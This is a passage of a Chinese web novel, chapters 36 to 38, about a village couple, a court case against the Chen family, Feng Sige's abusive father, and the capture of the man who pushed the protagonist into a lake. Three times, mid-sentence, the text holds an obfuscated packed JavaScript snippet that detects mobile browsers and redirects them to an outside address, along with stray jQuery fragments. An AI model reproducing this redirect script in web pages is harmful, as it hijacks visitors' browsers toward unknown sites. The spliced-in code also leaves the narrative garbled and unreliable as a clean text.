由于时间紧,没在镇上过多停留,许见秋和冯四哥一起去了县衙。 他并非当事人,只能站在外面看热闹。 前一桩案子尘埃落定后,冯四哥与陈家四人上了公堂。 冯四哥身为原告,先陈述了一遍事情经过,而后轮到被告。 陈家四人互相看了一眼,皆是畏畏缩缩,最终还是陈大娘开口:“事情……事情跟他说的差不多,但我没有推他,我儿子也是想要救他,好心想要负责,谁知他竟倒打一耙,说我们不对,大人,您可要为民妇一家做主啊!” “肃静!”徐明惊堂木一拍,道,“陈家其他三人,可认同陈氏说的话?” 父子三人连忙点头。 徐明沉声道:“看来事情已经明了一半了,冯四哥落水,陈大也跳进水中,二人上岸后,你们陈家便以此为由,不顾冯家人的意愿,想要强抢民哥,是也不是?!” 惊堂木再次落下,陈家人皆打了个哆嗦。 他们在村里还敢大声说话,欺负老弱,可上了公堂,面对三班衙役和县太爷,又被吓唬一通,一点圆滑都不敢使了。 很快,事件真相完整揭露,与冯四哥说的一字不差。 “推人入水,强抢民哥,殴打老人,无论哪一桩都够你们下狱了。” “都、都是她干的!”陈老汉咬牙把老婆推了出去,“县令大人,都是她出的馊主意,我和两个儿子都是本本分分的老实人,要不是这个女人,我们绝不会干出这种事!” “你……”陈大娘万万没想到自己丈夫会把自己推出去,两个儿子也不为她说话,她一时气上心头,竟失了声。 陈老汉还在继续说让县令将陈大娘关押。 “住嘴!”徐明沉声道,“如何判决本官自有决断。” 由于陈家人并没有真的殴打冯老头,也没有能将冯四哥抢走,因此刑罚并不太重。 徐明命人当场将人拖下去,男的二十大板,女的十四大板。 打完后,判他们赔偿冯四哥五两银子,当众道歉,且陈大入狱,刑期三年。 听见自己儿子竟要坐牢,陈老汉顿时觉得天都塌了。一时间,父亲的身份给了他勇气,他大喊道:“大人!大人,明明是这泼妇出的主意,为何不叫她入狱,反倒要抓我儿子?” 身为一县父母官,徐明原想着不能赶尽杀绝,纵使这家人没一个好东西,也得给他们留活路。 可此刻听着陈老汉的呐喊,他心里来气,索性道:“原来你也觉得本官刑罚过轻,好,本官如你所愿,犯妇陈氏收押三年,陈老汉两年,退堂!” 随后,不论堂下人如何叫喊,他都没有再回头。 许见秋看完全程,只觉得大快人心。 四哥儿拿到了赔偿,陈家三人入狱,以后不仅不会再欺负老弱,还能为国家做贡献,实在是好。 冯四哥心里更加松快,一块巨石终于移开了。 他快步走向许见秋,却被公差拦住,告知他,他得前去对审理结果画押。 他只好先跟公差走。 许见秋便在府衙外等着他,听着来往百姓对案件的谈论,嘴角微微翘起。 太好了,今天的案子传出去,那些心怀不轨之人就不敢随意下手了。 心情愉悦,他目光随意地看着四周,余光却瞥见了一抹身影。 是个穿着粗布衣的中年男人,黑,身量普通,略胖。 许见秋觉得有些眼熟,他想起了自己落水那日,他就是被一个黑脸汉子给推下去的。 是这个人么? 许见秋当时就没有看清脸,此刻更无法辨认,他下意识抬腿跟了上去。 36. 陈二 街上人多,黑脸男人也完全没有想过自己会有被哥儿跟踪的一天,因此并未察觉有人尾随。 他在街上买了个烧饼,往候车亭走去。 正好有一辆去往柳林镇的驴车正好快满了,车夫在招客,他就交了钱坐上去。 果然是柳林镇的人。 许见秋这般想着,没有再跟,转身回了府衙。 冯四哥就在府衙外最显眼的地方,看见他,连忙跑过来,松了口气:“秋哥儿,你去哪儿了。” “我突然肚子疼,去找茅厕了。”许见秋撒了个谎。 冯四哥不疑有它,关心道:“许是来的路上吹风受了凉,这会儿好些了吗。” “已经没事了,我们先回镇上吧。”许见秋想快些回去,好打探那黑脸汉子的行踪。 — 两人回到镇上,冯四哥想快些回家报告喜讯,许见秋便说自己要去看望爹娘,自然分开。 到了食馆,许见秋先说了想办婚宴,要用红布的事。 “我昨儿还在跟你爹商量,想跟你们提一提婚宴的事,没想到今儿你就来了。”赵雪梅一边端菜一边道,“想到一处去了。” 许见秋笑道:“也是听见梁家要办喜事,我们才有这个想法的。” “有想法就行,成亲还是得热热闹闹办一场,叫人知道你过得好,否则总有碎嘴子讲闲话。”赵雪梅说着,又问道,“今儿哥婿怎么没来。” 许见秋便把冯四哥打官司的事说了:“祁胜对看人打官司没兴趣,就留在家里干活了。” “那你吃了饭就早些回去,免得他一个人在家一整天,心里不痛快。” 许见秋心知祁胜不会因此而不痛快,但也没有反驳这话,只点了点头。 此时晌午刚过,许家人忙了一通,也有些饿了,便陪着他一起吃饭。 “咱们镇上有没有脸比较黑的中年汉子。”吃到半饱后,许见秋开口。 许父道:“脸黑的汉子多得很,你打探这个做什么。” “那日推我下水的就是名黑脸汉子,今天我好像见到他了。”面对家人,许见秋没有隐瞒。 一听是凶嫌,其他人顿时紧张起来,追问细节。 待全面了解后,许父便说此事交给他,他会去打探。 “谢谢爹娘。”许见秋顿了顿,又说,“我也不能确定他就是凶手,所以你们若是找到人,不要打草惊蛇。” 许父许母都应下。 * 关于黑脸凶嫌一事,许见秋没有告诉祁胜。 他怕对方做出冲动事,就像对待胡天楠那样。 常在河边走,哪有不湿鞋。有些事做一次没事,做第二次,就会被人发现了。 他只跟祁胜说了公堂上的事,然后将红布铺在宽桌上,拿尺子和炭笔划线。 祁胜在旁边帮他按着布匹,以免滑动。 “办喜事的钱,爹娘说他们出一半,礼钱全归我们。”许见秋顿了顿,瞥汉子一眼,“但我拒绝了,没有要他们的钱。” 祁胜道:“我如今在挣钱了,再者,办喜事一般不会亏本,爹娘已经资助我们够多了,的确不该再要他们的。” 祁胜和他想的一样,这就很好了。 许见秋忍不住抿出一道笑,心里漫过一丝甜意。 衣裳裁剪完,祁胜继续赶工仿画,他则开始缝制。 因为只穿一次,他并不打算在喜服上绣很多花样,成亲最早也得是年后,其实不用这么赶的。 可他就是想先缝出来。 他想看看祁胜穿喜服的样子。 想到这样,许见秋觑了一眼旁边的汉子。 成亲以来,祁胜长了几斤肉,因身量高看着不明显,可夜里靠近了就能感觉出来。 许见秋私以为祁胜如今比初识时俊朗,若是穿上喜服,定会好看。 “一直看着我做什么。”祁胜突然抬头,回视他,笑问。 许见秋下意识摇头:“没什么,只是在想明日要不要去砍柴。” 他们家就两个人,还有猫狗和鸡,冬日需要的木柴不太多,但木柴天天都得用,多筹备些总是没错的。 再者说,自家用不完,还能给食馆送去。 说到砍柴,祁胜免不得想起上次上山,许见秋遇见毒蛇的事。 祁胜道:“秋哥儿,木柴便宜,我们直接从村人手中买吧。” 原以为许见秋会拒绝,没想到对方马上回道:“那就买吧。” 许见秋也想起了毒蛇的事,上次是他运气好,下次不一定运气好,祁胜也一样,毒蛇咬人可不分性别。 再者,砍柴是件耗时累人的事,如今祁胜要仿画,要赶驴车收菜,还要做些杂事,已经够忙了。 反正他们需要的木柴不太多,买也花不了多少钱,如今他们买得起。 两人达成共识,木柴的事就这样定下。 初冬的风拂过,不冷,只给人带来惬意。 陈二却惬意不起来。 他一家四口上公堂,三个人都被判刑,只有他回来了,却背上了五两银子的债。 不止如此,以后家里八岁的妹妹和五岁的弟弟,都得他养活了。 他怎么养活? 当时家里提议要谋算冯四哥时,他就没同意,但拗不过其他人。再者,也不是为了给他讨夫郎,他半点好处没得到,凭什么这些重担要压在他身上? “二哥。”陈小妹推开门,小心翼翼地说,“我煮了稀饭,你吃不吃。” 她只有八岁,但经常帮着家里干活,会洗衣裳煮稀饭擀饼子,也知道一点农务。 可这些在陈二眼里没用,这些挣不出铜子。 他眼神阴暗地盯着妹妹,吓得陈小妹瑟瑟发抖,小声又唤了声“二哥”。 她已经在村里听说了自己家的事,知道爹娘和大哥都被关进大牢了,知道二哥心情不好。 可她……她也很害怕。 看见妹妹掉眼泪,陈二的神智似乎回来了些,语气也正常:“我不饿,你和小弟先吃。” “好。”陈小妹连忙抹干眼泪,转身去找弟弟。 只要二哥正常就好,有哥哥在上头顶着,她就不那么怕了。 陈二听着妹妹走远后,将门关上,进了陈老汉夫妇住的屋。 家贫,屋里陈设不多,他在屋子里翻找一通,最终在一块砖后面找到了银子。 一共只有二两碎银,和几百个铜板,连还债都不够。 他将钱全部拿出来,走进自己屋,把钱放在床上,用被子盖住。 随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405073|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他出去吃饭,吃完饭后道:“你们俩先去睡吧,我来洗碗。” 洗碗向来是陈小妹的事儿,她受宠若惊:“二哥……我来洗吧。” “你哄弟弟睡觉,我不会哄。” 他这么一说,陈小妹便拉着陈小弟走了。 如今年龄还小,家里屋子不多,陈小妹和陈小弟住的是一个屋,就是陈二陈大的隔壁屋。 洗了碗,陈二回屋后便认真听着隔壁的动静。 渐渐的,月亮高升,料想隔壁妹妹弟弟都睡熟了,陈二揣上二两银子,铜板数了二三十个,余下的仍藏在被子里,小心谨慎地打开门,往月色中去了。 * 次日,气温有所下降。 家里没什么着急的事儿,昨夜又闹得凶了些,被窝正舒坦,许见秋久违地想赖床。 见他翻了个身,不想睁眼,祁胜便道:“你再睡一会儿,我先去喂鸡。” “嗯。”许见秋含混应了声,半边脸埋在枕头里。 他听着祁胜穿衣,出门,关门,然后是院子里喂鸡的声音。 又过了一会儿,许见秋不觉得困了,便坐起身,披上衣裳,打开窗户看了看外面。 天还不是很亮,处处带着凉意,黑狗崽在跟狸奴玩闹,褐色那只还在睡。 半大的鸡到处刨食,祁胜就在厨房外头,正把茶壶里的烧开的水往陶罐里倒。 许见秋心想,要多买些柴。 水要烧开才能喝,才能不容易生病。陶罐里的水过不了多久就凉了,现如今喝着没什么,等真正入冬,就不好受了。 若是有了多多的柴,炉子便能一直烧着,又能烤火,又能喝到热茶。 想了一通以后的事,他不再赖床,穿好衣裳,下床梳头,准备做早食。 昨晚他和了面,一夜过去已经发酵好。他将萝卜菘菜切成丝,加盐挤出水分,而后炒四个蛋用筷子搅碎,和素菜丝搅匀,调好味道,开始揉面。 面团揉好后,开始包包子。 他包的包子小,小点更好吃,就是麻烦,得一个个捏褶子。 许见秋很有耐心,手上动作也快,很快,案板上便全是圆润漂亮的小包子了。 包好后还要二次醒发,趁着这个时间,他出去跟狗崽玩了一会儿。 这两只小狗才到家,他正新鲜着,只觉得哪里都可爱,叫声也好玩。 黑色狗崽不怕他,还会讨巧,在他手上蹭耳朵,拿水汪汪的圆眼睛看他。 褐色应当也不怕,只是依旧懒性子,赖在窝里不怎么动弹,摸它也不动。 许见秋不禁犯愁,甚至有点后悔,是不是不该把褐色的抱回家? 这样一天到晚躺在窝里怎么行呢,作为家狗,不求它像猎犬那般勇猛,可也得会看家呀。 若是来了生人,得会叫唤两声。 祁胜扫完院子,见他一脸忧愁,便走过来问道:“怎么了?” 许见秋将自己所担心的说了。 祁胜道:“它现在还小,小孩子觉多,狗崽估计也一样,等长大就好了。” “兴许吧。”许见秋看了看活泼的黑狗,只能这样安慰自己。 想着醒发得差不多了,许见秋正要洗手回厨房,却听见外面一道声音。 “陈二跑了!” 37. 冯家往事 许见秋下意识朝门外看,想起没开门,又扭回头。 祁胜道:“我去看看怎么回事,你做饭。” 许见秋点头。 事情并不复杂,许见秋把小包子放进锅里,火才烧起来,祁胜就回来告诉他,原来是昨夜陈二跑了。 今早起来,陈小妹、陈小弟两个人找不到哥哥,满村子哭着找人,这会儿村长已经召集了人手帮忙找。 “你也去帮忙吧,骑着驴去,希望能把人找回来。”许见秋这般说着,心里却知道希望不大。 陈二年轻汉子,脚程快熟悉路,又是摸黑跑的,没被几个人看见,这哪里追得回来? 可怜陈家两个小孩,不知道以后要怎么活。 — 吃过早饭后,许见秋去陈家看了一眼。 陈小妹小弟皆双眼红肿湿润,不知道哭了多久,手拉手坐在一起。 屋子里还坐着几名老妇,是陈家的亲戚,来陪一陪这可怜的姐弟。 许见秋心中不由得叹息,可他也没有办法,只得转身离开。 不过他并没有立刻回家,而是又去了冯家一趟。 陈二一走,这五两银子估计就没了。 冯四哥在家,没有出去追人。 他和冯爷爷正在门前空地上编篮子,冯奶奶补衣裳。 “秋哥儿。”看见许见秋,冯四哥站起来道,“我去给你倒杯水。” 许见秋道:“不用麻烦,我就是来看一眼,马上回家。” 两家离得近,又常来往,冯四哥就没客气,继续坐下编篮子了:“你是想问陈家的事吧,放心,对我们影响不大。” 那五两银子,陈二本来就不能立刻拿出来。 他爷爷的腰伤也的确是老毛病,都十几年了,年龄大了,即使真有五两银子也治不好,因此那五两银子并没有那么要紧。 “那就好。”许见秋松了口气,“那我就不打扰你们干活了。” 他正要走,冯奶奶却突然开口:“秋哥儿,你院子里的菜能吃了吧。” “萝卜和菘菜是长出来了,但看样子还没有熟,我也拿不准。”农务这方面,许见秋毕竟没有经验。 冯奶奶便扶着椅子站起来,道:“我跟你家去看看,也看看鸡仔。” “行,谢谢奶奶。” 两人走回家,打开院门,看过菜地后,冯奶奶得出结论:“都还没有长熟,不过菘菜约摸半个月后,就可以捡大的吃了,萝卜还得再长长。” “好,我记下了。”想到很快就能吃到自己种的菜了,许见秋唇角弯了弯。 冯奶奶又看了看他们的院子,略显浑浊的目光扫过狸奴、狗崽和满院子啄食的鸡,心中不由艳羡。 她深呼吸几次,把追过来的真正用意说出口:“秋哥儿,奶奶有件事想求你。” “什么事您说。”许见秋受不起这话,扶着老太太坐下。 冯奶奶声音苍老但清晰:“我和我家老头子已经不行了,说不准什么时候就得迈进棺材,等我们走了,四哥儿他一个人,在这村里是活不下去的。” 自古村里只有光棍汉,没有一个人住的单身女郎或哥儿。 若有,很快便会被吃干抹净。 许见秋没出声,等待着冯奶奶的下文。 冯奶奶继续道:“四哥儿他不愿意嫁人,你跟他玩得好,能不能帮着劝一劝他,让他好好找个汉子嫁了。” 许见秋想了想,道:“奶奶,若遇见好去处,我会劝他的,四哥儿聪明,相信他心里也有一杆秤,知道该怎么做。” “他年龄小性子犟,很多事爱钻牛角尖。”冯奶奶叹着气,把往事跟许见秋说了。 原来,冯奶奶当年生了三个儿子两个女儿,一个女儿远嫁一个幼时夭折,儿子有两个都死在了战场上,身边唯剩一个小儿子,也正是冯四哥的亲爹。 因年龄小又是仅剩的独苗,两口子就对孩子娇惯了些,岂料惯出了个混账。 冯四哥的爹叫冯成。冯成早早娶夫郎,早早生孩子,结果,一连生了三个,都是哥儿。 第四个,还是哥儿,也就是冯四哥。 冯成早听说哥儿容易生哥儿,但那是头胎,头胎哥儿他也接受了,可一连四个哥儿,邻居在背后牙都笑掉了,这他能忍? 他觉得全是夫郎的问题,从第二个哥儿出生起,便时常打夫郎打孩子。 冯成婚后便和夫郎搬到镇上住了,用的是两个哥哥的抚恤金和老两口一辈子的家当。 镇上屋子小,老两口仍住在无穷村,因此一开始没有发现这回事。 等到发现时,冯成已经极其恶劣了,将夫郎腿打断了,还逼着对方拖着残腿,寒冬腊月用凉水洗衣裳。 纵使老两口也更想要孙子,看见这般场景还是觉得心惊。冯爷爷当场抄起棍子把儿子打了一顿,逼着他道歉,之后两人把儿夫郎和孙哥儿们接回村,照顾了几个月。 等到腿伤好,儿夫郎又回到镇上,生下第三个哥儿。 “他怎么……”话说到一半,许见秋又住了口。 他心思玲珑,已经意识到,若是那儿夫郎娘家是个硬气的,是愿意护着自家哥儿的,也不至于叫哥儿挨打那么多年了。 娘家认为他是“泼出去的水”,他又如何回家呢?哪来的家呢? 冯奶奶也叹了口气:“也怪我们,当时他说自己改好了,不会再打人,我们就信了。” 结果他只是因为外头有了人,才一时没有打人。 等到冯四哥出生,他再也克制不住,不仅将刚生完孩子的夫郎狠打一顿,还告诉对方,自己在外头已经有儿子了,就比冯四哥大一个月。 多重噩耗之下,儿夫郎想不开,就想带着几个孩子自杀。 ——他知道冯成不会对孩子好,也无人可托付,所以只能带着孩子一起死。 没钱买毒药,一共四个孩子,他只能从老大开始,一个个捂死,然后自己投河自尽了。 冯四哥命大,当时没死,还剩一口气,撑到了爷爷奶奶到。 “后来我们就跟那混账断绝关系了,带着四哥儿回乡下过日子。” 但事情还没有完全结束。 两年前,冯成回来了一趟,带着几个汉子一起来,想把冯四哥带走给老员外做妾。 冯四哥自是不同意,冯成就把冯四哥打了一顿,连自己爹娘也打,村长拉架,也挨了一顿打。 后来冯四哥是被保下来了,村长跟冯家关系却糟糕起来了。这也是上次陈家打上门,村长一直不出现的原因。 “我就想四哥儿嫁远点,别叫他爹知道,免得以后再打扰他。”冯奶奶说着,眼泪直流,说终究是他们对不起四哥儿和儿夫郎,如今还在拖累四哥儿。 别人的家事,许见秋不好评价,干巴巴地安慰了冯奶奶几句,再次道:“四哥儿那边我会帮着劝。” 他不觉得嫁人有什么好处,可四哥儿的状况,除了嫁人,也没什么别的好法子。 不过若遇不着合适的,他不会硬劝。 冯奶奶止住眼泪,又歇了一会儿便走了。 她走后没多久,祁胜骑着驴回来。 果不其然,没追到人。 “我们一直追到河边,跟人打探,有人说看见陈二一早就坐船走了。”祁胜一边洗手一边说,“两个姓陈的汉子坐船去追,我们其他人回来了。” 许见秋点了一把火,塞进炉膛里热包子,又想起了陈家那两个小孩。 但愿陈二没有跑远吧。 可:“找回来也不一定是幸事,他不愿意管弟弟妹妹,强行让他回家,也改变不了他的想法。” 祁胜:“我也是这么想的,可他要是不回来,更没人管那两个小孩。” 左右都难,许见秋又深深叹了口气。 “陈家的事与我们无干。”祁胜洗干净手,注意到夫郎的情绪,用大拇指揉了揉他的眉心。 许见秋看向自家汉子,又想到冯四哥的爹,忽然问道:“你喜欢哥儿吗。” “我喜欢姑娘还是哥儿,难道你不知道?”祁胜挑了挑眉,反问。 许见秋道:“我不是问这个,我是指孩子,你喜欢哥儿吗?” “只要是我的孩子,我都喜欢。” “一个哥儿或许你不介意,可若我生的都是哥儿呢?” 祁胜顿时笑了:“都还没有圆房,你就想着要生几个孩子了?” 许见秋踢了一下他的小腿:“我认真问你呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405074|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你好好回答。” “还是那句话,只要是我的孩子,我都喜欢。”祁胜顿了顿,半玩笑半认真道,“再者,我敢介意吗,一句话没回答好你就要踢我,若是介意你生的孩子,你岂不是要谋杀亲夫。” “也对。”许见秋豁然开朗,“若你介意,我就换个相公。” 或者自己带孩子。 自己带孩子得有钱。 还是得挣钱。 自己有钱才能腰杆直。 想通关窍,许见秋又不忧愁了,只盼着时间快快过去,早点开春,他好早点买羊崽回来养。 * 枯黄的树叶倔强地挂在树梢,纵使霜欺雨打,不肯落下。 许见秋割驴草回来,恰好看见村长从冯家离开。 陈二没被追回来,距离他逃走那日,已经过去七天了。 这次村长来冯家,估计是为赔偿的事。 去冯家一问,果然如此。 “村长说陈家的宅子可以抵给我们,抵五两银子,如今也没有别的法子,等那三个人出来不一定会出什么变故,我就同意了,打算明天搬过去。” 陈家的房子比冯家好。 陈家的地暂且由本家亲戚代种,两个小孩也由本家亲戚先养着。 “这样也挺好,左右问题都解决了。” “是啊。”冯四哥反正很高兴,“陈家的房子,爷爷奶奶说写我的名字,等以后我攒点钱,也想像你们似的盖个院子,养几只鸡。” 许见秋道:“那再好不过。” 想到冯奶奶说的事情,又似不经意般提起:“陈家房子大些,若你成了亲,再多一个人也住得下。” 提到“成亲”二字,冯四哥的笑容立时散了:“以后的事以后再说吧,我现在还不想成亲。” “可以提前留意,免得想成亲时,太过仓促。”许见秋建议道。 冯四哥依然道“再说吧”。 — 回家喂饱驴,许见秋夫夫二人套好驴车,把这几天收的干菜装上,出发前去镇上。 路上,许见秋打算买点果干。 正好看见一家新铺子开业,门口木牌上写着全场点心买十赠三。 这么大优惠力度,他几乎不假思索和祁胜便进去了。 ——驴车由铺子伙计看着,不会丢。 由于优惠力度大,小小的点心铺子里挤满了人,热闹无比。 伙计一个个给拿货、称量、找钱,还得防着有人浑水摸鱼,忙得不可开交。 如今天气渐冷,也不怕坏得快,好不容易赶上便宜时候,许见秋拿了三包绿豆糕,两包桂花糕,三包酥糖。 见铺子里也卖糖和盐,又称了两斤糖五斤盐。 结果付钱时被告知,糖、盐不在买十赠三的范围内。 “我们木牌上写清楚了,点心买十赠三,不过刚开业,我们糖盐也比别家铺子便宜几文钱,您买了也不亏。”年轻老板解释。 他报的价格确实比市价便宜,又已经拿了,许见秋便没放回去,一起结了账。 糖盐一共二百八十五文,点心只算两包酥糖一包绿豆糕的钱,其它算赠送,一百六十文,总共四百四十五文。 许见秋数钱时,老板看着他身边的汉子,忽然开口:“这位兄弟,你是不是买过我的酥糖来着,当时我在路边摆摊。” 祁胜点头:“是买过一回。” 看见这年轻老板的第一眼他就认出来了。 那日他去罗术家找活儿,买了画笔回家的路上,遇见摊贩卖酥糖,那摊贩就是此刻的年轻老板。 他当时以为摊贩家境贫寒不得已摆摊,如今看来,那日只是意外罢了。 年轻老板咧嘴一笑:“真有缘分,那是我唯一一次摆摊,你是唯一一个买我糖的,今日我开业,你竟又来了。” 他从柜上拿过一包山楂糕,约摸有半斤重:“感谢你那日买我的糖,这是本店的山楂糕,也很好吃,你和你夫郎拿回家尝尝吧。” 见祁胜和夫郎对视一眼,老板怕他们不收,又说:“就当给我个面子。” 后面还有许多人等着结账,他们不好一直在这里堵着,既是老板真心想给,二人便收下了,说了几句吉祥话。 38. 冯爹 等到了食馆,正好遇见赵雪梅和许成州要出门。 一问,是要去新的点心铺子买吃食。 “不用买,我都买了。”许见秋笑道,“刚从那家铺子过来,还买了好些盐和糖。” 看他买的确实多,赵雪梅就没再出去。 干菜收进库房,盐糖食馆也接收了大半,随后一家人才坐下喝茶吃点心。 “秋哥儿,你说的那个人我们打探清楚了。”赵雪梅道,“他叫冯成,今年四十二岁,住在小石头巷,是个有名的无赖混子,原本是无穷村的人。” 听见“冯成”这个名字时,许见秋心里便咯噔一声,后面听见无穷村,就更加确定了。 这人竟是冯四哥的无良爹。 “打探冯成做什么?”祁胜看向自己夫郎。 许见秋不再瞒着,把事情跟他说了一遍。 祁胜当即要去找冯成。 许见秋道:“只是像,我并不确定就是他。” “正因不确定才要立刻去找,找到他之后,审问一番便能确定了。” 听祁胜这么说,许见秋又想起了他对待胡天楠的做法,不由得拉住汉子:“我跟你一起去。” 许大山不放心两个小辈,也跟着一同去了。 — 冯成没有正经工作,近日也没钱找相好,只能躺在家里睡大觉。 他双手垫在脑后,琢磨着前几日在衙门上看见的场景。 他那个哥儿打赢了官司,得了五两银子。哥儿尚未嫁人,若是他回去,那五两银子岂不就是他的? 但话又说回来,陈家不一定拿得出五两,估摸着只能给个一二两,他那两个老子还在世,哥儿又泼辣不认他,不一定会给钱。 可若是不回去,他又没钱花了。 心内正纠结着,就听见有人砰砰敲门。 “谁啊?”冯成恶声恶气。 “是我。”他听见一道熟悉的嗓音,是跟他一起胡混的麻赖子。 冯成不设防地去开了门,结果打开门的瞬间他便后悔了。 门口除麻赖子外,还有两名汉子一名漂亮的哥儿。 他认识这哥儿,叫许见秋,娘家是开食馆的,曾经和胡家定了亲。 之所以这么清楚,是因为他曾接过胡二公子一桩买卖,那桩买卖可简单了,轻轻松松一推,一两银子便到手。 可也正因那桩买卖,他此刻心里生了些畏惧。 祁胜一看他的神色,心中就有了定论。 如果没有谋害过秋哥儿,怎么会惧怕他们这些陌生人。 “许老板,他就是冯成。”麻赖子微微弯腰,十分殷勤地道。 许大山明白意思,拿出十文钱递给他。 麻赖子接过钱,说了句吉祥话,扭头就走了。 这架势只要不是个傻子都能看明白。 冯成想要关门,却已经来不及了,祁胜和许大山一人推一边,将木门推开,把他扯住,按在地上便是一顿狠揍。 冯成平日里不做正事,能躺绝不坐着,又好喝酒抽旱烟,外强中干,毫无还手之力,只知道抱着头叫唤。 打得差不多了,许见秋才叫停,说道:“爹,我们先把他绑起来带走吧。” 冯成将他推进湖里,是人命官司,本应去县衙,可许见秋看了一眼祁胜,有些顾虑。 哥儿立在门口,黛眉微蹙,祁胜知道对方在想什么,心里很不是滋味。 许见秋已因他错失跟着徐景然发财的机会,如今又因他而踌躇报官,日后还会错失什么,谁也说不准。 难道要躲一辈子,连累夫郎一辈子吗? 碍于许大山在眼前,祁胜心里思绪翻转,面上什么也没有表露,只顺着许见秋的话去找绳子。 将人押回食馆,许大山便要套车去县衙。 “爹。”许见秋忙拦住他,“如今我们无凭无据,又才打了他一顿,到了堂上他必不会承认,说不定还会反咬我们一口,说我们无故伤人。” 动用私刑是违法的。 许大山皱起眉毛:“如此大的事,不送去衙门,还能怎么处理。” 祁胜道:“爹说得对,是得送去衙门,方才我们一路押着他过来,已有不少人看见,他如今被我们绑着跑不了,可胡天楠能跑,这案子耽搁不得。” “可是……” 祁胜握住夫郎的手:“秋哥儿,你忘了吗,县令大人日理万机,案子得先由书吏登记,之后再根据轻重缓急择日审理。” 听他这样说,许见秋才暂且答应:“好吧,我们先将人送去县衙。” 等到审案之日,让祁胜找个借口不上堂便是。 他想的很好,然而计划赶不上变化。他们捆着冯成还未走进县衙,就遇见了徐明。 徐明穿着便装,身后跟着一名长随,走出大门几十步,正要转弯时,余光瞥见前面老百姓赶着驴车,车上有名被捆绑结实的汉子。 他顿住脚步,朝驴车细看,目光略过赶车的中年汉子、车上的哥儿,最后凝在年轻汉子脸上。 怔了怔,他掩好思绪,朝驴车走去。 此时许见秋等人也看见了他,许见秋下意识看向身边的汉子,掌心微收,眸底闪过一抹慌乱。 “别怕。”祁胜用只有两个人听得见的声音道,“我如今只是祁胜。” 顿了顿,又快速道:“若他真要对我发难,你便说自己什么都不知道。” 听了这般话,许见秋心中更加恐慌了。 可徐明已经走到眼前,必须要面对。 “县令大人。”许大山先朝徐明行礼。 徐明点头回礼,问道:“你们车上绑的是什么人,为何要绑他?” “回大人的话,车上是混混冯成……”许大山把自己知道的案情说了一遍。 听出严重性,徐明立即吩咐长随去寻找胡天楠,自己则跟着许家人返回县衙。 见徐明没有朝祁胜发难的意思,许见秋心里才稍微放松了些。 也许是他太草木皆兵了,当年祁胜才十四岁,长到如今有些变化。再者,天下相似的人何其多,没有证据,岂能随便指认。 “你们先在此处等候,等胡天楠一到,本官即刻升堂。”徐明将他们引进公堂,说道。 许大山连忙道谢。 徐明笑了笑:“断案乃是本官的职责,大叔不必言谢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405075|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说罢,他目光忽然转向祁胜,见祁胜身边的哥儿瞬间惊慌起来,他又收回目光,什么也没说,进了后堂。 许见秋手心冒出了冷汗。 他不大会撒谎,更别说事关性命。方才通过他的反应,徐明定然看出来了。 他看向祁胜,只见汉子神色平淡,似乎什么也没有发生过一般。 “你不害怕吗。”他悄声问。 祁胜自然也会恐惧,只是事到如今,恐惧解决不了问题。 这段时日和许见秋住在一起,他已感受到无穷的幸福,即便今日就死了,他也觉得值。只是他如今还一事无成,没能给许见秋带来好处。 “不怕。”祁胜压下负面情绪,对夫郎露出道笑容,语调轻松,“徐明好歹是我师兄,我如今又妨碍不到他,看在同门情谊上,他不会对我赶尽杀绝的。” 许见秋看着自家汉子,一点也笑不出来。 他此刻已经后悔去找冯成的麻烦了,事情已经过去,胡天楠也受到惩罚,为何偏要计较是谁推他下水呢? 若因为他的举动而害祁胜被捕,他定会后悔终身。 衙役给三人上了茶,许大山喝了半杯,瞧见哥儿垂眸黯然的模样,问道:“秋哥儿,你身子不适?” 许见秋下意识摇头:“没有,只是在想事情罢了。” “想什么?” 祁胜替夫郎答道:“爹,他在担心家里的鸡,怕回去晚了,鸡被人偷走。” “现在时间还早着,不会审那么久,你且安心。” 许见秋点点头,尽量不再让自己露出异样。 不多时,衙役带着胡天楠到了,正式升堂。 不出所料,胡天楠否认了自己买凶一事,冯成也否认是自己推许见秋下水。 许见秋这边则拿不出任何证据。 故此,衙门将二人放了。 但案子并未了结,衙门会张贴告示寻求证人,待搜集证据后会再次审理。 许见秋三人也准备往外走,却被徐明叫住:“几位留步。” 许见秋心里一凝。 徐明走下台阶:“听闻秋哥儿与舍弟交好,正巧晌午了,请几位留下吃顿便饭吧。” 许大山受宠若惊,正要婉拒,哥婿先开口应下:“徐大人好意,那就恭敬不如从命了。” — 徐明住在衙门后堂,前厅布置得简洁雅致,一名女子正往瓶中插花,桌上已布好饭菜。 “夫人。”徐明出声,“我将朋友带来了。” 